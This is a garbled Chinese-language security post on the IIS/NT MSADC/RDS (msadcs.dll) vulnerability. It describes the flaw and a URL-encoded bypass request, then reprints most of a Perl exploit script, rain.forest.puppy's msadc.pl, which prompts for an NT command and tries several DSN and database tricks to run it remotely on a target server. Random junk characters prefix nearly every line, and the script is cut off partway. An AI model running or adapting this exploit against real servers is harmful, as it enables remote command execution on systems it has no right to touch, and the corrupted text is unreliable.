IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
a|{<#<6n( O*Pe[T5x' 涉及程序:
/@}# KP= Microsoft NT server
q9z!g/,d/ /%'7sx[p
描述:
7
,~Krzv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"1 TM ZrT|~$*m` 详细:
soK_l|z:J 如果你没有时间读详细内容的话,就删除:
;j\$[4W.i c:\Program Files\Common Files\System\Msadc\msadcs.dll
/*2W?ZM~H 有关的安全问题就没有了。
2Sd6b 2- Z"nuO\zH~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
U1tPw`0h ]`U?<9~Ob 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
X
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> 关于利用ODBC远程漏洞的描述,请参看:
R2f,a*> j`M<M[C*4N http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]-OkW.8d1 0`zq*OQ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
J-?(sjIX http://www.microsoft.com/security/bulletins/MS99-025faq.asp @
MoMU Z+Zh;Ms 这里不再论述。
9
f/tNQ7W 6j![m+vo% 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
bvvx(?! pl/$@K?L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!H.lVA 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0n^j 50Yq I=I%e3GEm #Ih(2T
i #将下面这段保存为txt文件,然后: "perl -x 文件名"
!-Q!/? ~&|i'f[ #!perl
4tKf #
du)G)~ # MSADC/RDS 'usage' (aka exploit) script
gvt4'kp #
EU~'n- # by rain.forest.puppy
GUZi }a|= #
IMEoov-x # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\wd`6 # beta test and find errors!
j* ja) 1 .k}gl0< use Socket; use Getopt::Std;
t":>O0>cz getopts("e:vd:h:XR", \%args);
AG=1TZI" Ps-d#~4U; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#r}c<?>Vw 0nn#U if (!defined $args{h} && !defined $args{R}) {
3P>@ : print qq~
$o^}<)DW Usage: msadc.pl -h <host> { -d <delay> -X -v }
3".W -h <host> = host you want to scan (ip or domain)
94/}@<d-= -d <seconds> = delay between calls, default 1 second
_"TG:RP -X = dump Index Server path table, if available
;^]F~x} -v = verbose
7%WI -e = external dictionary file for step 5
vsR&1hs VW/1[?HG5 Or a -R will resume a command session
3EdPKM j& Kep?=9r4+ ~; exit;}
bZJiubBRI N9Vcp~; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-z94>}Z= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RUO6Co- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^a
r9$$~/! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
=cY]cPO $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B dUyI_Ks: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
wVB8PO8 Z
m>69gl if (!defined $args{R}){ $ret = &has_msadc;
y uq E die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
P*Nl3?T v4G kf print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Z )I4U . "cmd /c ";
9:>vl0 $in=<STDIN>; chomp $in;
mbK$Wp# $command="cmd /c " . $in ;
O5w\oDhMb ~f:fOrLE# if (defined $args{R}) {&load; exit;}
ah.Kb(d: :4dili4|/ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Kk#@8h> &try_btcustmr;
#;)7~69 -_dgd:or print "\nStep 2: Trying to make our own DSN...";
H#:Yw|t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
s&l[GKR P:o<kRj1 print "\nStep 3: Trying known DSNs...";
}HzZj;O^2> &known_dsn;
0 N(2[s_A t&0p@xLQ print "\nStep 4: Trying known .mdbs...";
&DV'%h>i= &known_mdb;
_nt%&f 6)8']f if (defined $args{e}){
V l%k: print "\nStep 5: Trying dictionary of DSN names...";
R.7"ZG &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
s?G@k} { pJIH_H print "Sorry Charley...maybe next time?\n";
l #Tm`br exit;
W~qo
`r D'X'h}+2 ##############################################################################
TFhj]r^{ UkC\[$-"\ sub sendraw { # ripped and modded from whisker
x+&&[>-P sleep($delay); # it's a DoS on the server! At least on mine...
l40$}!!< my ($pstr)=@_;
LLMkv!%D socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T "z!S0I die("Socket problems\n");
AxeWj%w@ if(connect(S,pack "SnA4x8",2,80,$target)){
]3v select(S); $|=1;
_MR2,mC print $pstr; my @in=<S>;
sTb/l!=o select(STDOUT); close(S);
^ZsME, return @in;
a7Jr} "B } else { die("Can't connect...\n"); }}
tf,_4_7#$ r&qD